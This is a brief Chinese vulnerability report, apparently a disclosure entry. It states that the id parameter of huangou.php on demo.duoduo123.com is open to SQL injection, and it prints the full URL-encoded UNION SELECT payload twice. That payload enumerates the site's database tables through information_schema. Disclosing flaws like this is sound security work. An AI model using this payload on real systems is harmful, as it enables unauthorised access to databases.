简要描述：
 
http://demo.duoduo123.com/huangou.php?id=-1%20union%20select%201,2,3,group_concat%28table_name%29,5,6,7,8%20from%20information_schema.tables%20where%20table_schema=database%28%29 可以注入。
 
详细说明：
 
http://demo.duoduo123.com/huangou.php?id=-1%20union%20select%201,2,3,group_concat%28table_name%29,5,6,7,8%20from%20information_schema.tables%20where%20table_schema=database%28%29